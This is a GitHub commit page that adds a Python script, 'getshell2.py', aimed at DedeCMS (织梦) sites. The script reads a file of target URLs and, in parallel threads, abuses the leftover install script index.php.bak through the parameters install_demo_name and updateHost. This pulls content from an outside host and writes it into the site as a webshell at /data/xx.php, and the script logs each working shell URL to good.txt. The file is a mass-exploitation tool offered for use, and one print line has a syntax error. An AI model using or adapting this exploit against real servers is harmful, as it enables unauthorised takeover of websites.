Skip to content

Commit 4af33cf

Browse files
authored
Add files via upload
1 parent 956057b commit 4af33cf

1 file changed

Lines changed: 36 additions & 0 deletions

File tree

织梦写入批检/getshell2.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
import requests
2+
import os
3+
import threading
4+
5+
payload=['/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/xx.php&updateHost=http://www.ynfhlw.com/','/data/xx.php','gif89a']
6+
7+
user=input('file:')
8+
if os.path.exists(user):
9+
print('[+]open {} ok !'.format(user))
10+
else:
11+
print('[-]Not found {}'.format(user))
12+
exit()
13+
14+
15+
def explot(urls):
16+
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'}
17+
url1="{}".format(urls+payload[0]).strip()
18+
url2="{}".format(urls+payload[1]).strip()
19+
gjz=payload[2]
20+
try:
21+
rw=requests.get(url='{}/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php '.format(urls),headers=headers)
22+
rqt=requests.get(url=url1,headers=headers)
23+
rqt2=requests.get(url=url2,headers=headers)
24+
if gjz in rqt2.text or gjz in rqt2.content.decode('utf-8'):
25+
print('[+]shell url:{}'.format(rqt2.url)
26+
print('[+]shell url:{}'.format(rqt2.url),file=open('good.txt','a'))
27+
else:
28+
print('[-]no shell {}'.format(rqt2.url))
29+
except:
30+
pass
31+
if __name__ == '__main__':
32+
dk=open('{}'.format(user),'r')
33+
for r in dk.readlines():
34+
qc="".join(r.split('\n'))
35+
t=threading.Thread(target=explot,args=(qc,))
36+
t.start()

0 commit comments

Comments
 (0)